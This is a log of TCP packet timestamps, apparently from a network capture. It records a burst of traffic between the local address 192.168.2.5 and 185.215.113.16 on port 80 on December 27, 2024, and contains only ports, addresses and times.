Dec 27, 2024 09:07:59.856132030 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.856744051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.856823921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.856834888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.856868982 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.856895924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.857469082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.857517004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.857528925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.857562065 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.858287096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.858313084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.858330011 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.858345032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.858963966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859004974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.859009027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859020948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859059095 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.859741926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859780073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.859800100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859812021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.859852076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.860464096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.860506058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.860524893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.860558987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.861202002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.861229897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.861242056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.861246109 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.861287117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.861959934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.862020969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.862031937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.862071991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.862299919 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.862839937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.862889051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.862893105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.862905979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.863195896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.863440037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.870903015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.038816929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.038851023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.038862944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.038925886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.039129019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.039175034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.039186001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.039191008 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.039880037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.039951086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.040024042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040088892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040100098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040102959 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.040146112 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.040788889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040842056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040853977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.040895939 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.041565895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.041583061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.041594982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.041610003 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.041640997 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.042283058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.042329073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.042340040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.042380095 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.043061018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043085098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043096066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043104887 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.043134928 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.043795109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043874025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043885946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.043922901 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.044651985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.044663906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.044675112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.044708967 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.044729948 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.045320034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.045372009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.045382977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.045413971 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.046015978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046065092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046076059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046111107 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.046753883 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046812057 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046823978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.046899080 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.047507048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.047529936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.047539949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.047578096 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.047589064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.048265934 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.048316002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.048327923 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.048374891 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.049007893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049081087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049092054 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049134970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.049751043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049803972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049814939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.049861908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.050582886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.050595045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.050605059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.050636053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.050651073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.051249981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.051305056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.051321030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.051357985 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.052016020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052032948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052073956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052082062 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.052114964 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.052779913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052824020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052834988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.052881956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.053559065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.053616047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.053631067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.053674936 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.054234028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.054311991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.054323912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.054363966 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.055048943 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055059910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055074930 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055129051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.055773973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055821896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055833101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.055882931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.056488991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.056545019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.056598902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.056617022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.056665897 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.057230949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.057286024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.057296991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.057337999 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.057988882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058011055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058021069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058063030 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.058092117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.058741093 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058789015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058800936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.058839083 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.059494972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.059545040 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.059556007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.059571981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.059640884 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.060267925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.060307980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.060319901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.060358047 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.061001062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061017990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061029911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061050892 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.061069965 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.061712980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061763048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061774969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.061816931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.062515974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.062556028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.062571049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.062572956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.062627077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.063227892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.063272953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.063285112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.063344955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.063997030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.064047098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.064071894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.064085007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.064116955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.064723015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.118343115 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.240223885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240248919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240258932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240335941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.240498066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240544081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240556002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.240602016 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.241225004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.241393089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.241440058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.241451025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.241480112 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.241502047 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.242178917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.242213011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.242224932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.242270947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.242902040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.242952108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.242958069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.242965937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.243005991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.243660927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.243710041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.243721962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.243763924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.244393110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.244438887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.244445086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.244452000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.244482994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.245143890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245188951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245201111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245242119 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.245888948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245918036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245929003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.245938063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.245974064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.246634007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.246684074 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.246695042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.246731043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.247391939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.247431993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.247442961 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.247499943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.248132944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.248191118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.248203993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.248248100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.248897076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.248949051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.248965979 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.248977900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.249008894 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.249635935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.249684095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.249696016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.249733925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.250564098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.250612974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.250618935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.250632048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251281023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251306057 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251326084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251329899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.251357079 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.251888037 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251929998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251940966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.251992941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.252616882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.252666950 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.252679110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.252717972 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.253357887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.253405094 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.253405094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.253428936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254112005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254156113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254167080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254169941 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.254208088 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.254858017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254901886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254913092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.254951000 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.255593061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.255647898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.255661011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.255697012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.256370068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.256413937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.256416082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.256427050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.256671906 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.257097006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257153988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257164955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257200956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.257852077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257898092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257903099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.257910013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.257947922 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.258603096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.258650064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.258661032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.258697987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.259341002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.259382010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.259393930 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.259397984 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.259432077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.260123014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260180950 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260193110 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260226965 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.260860920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260907888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.260919094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260931015 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.260960102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.261620998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.261684895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.261697054 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.261734962 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.262362003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.262413025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.262423992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:08:00.262437105 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.262466908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:08:00.263154984 CET	80	49728	185.215.113.16	192.168.2.5
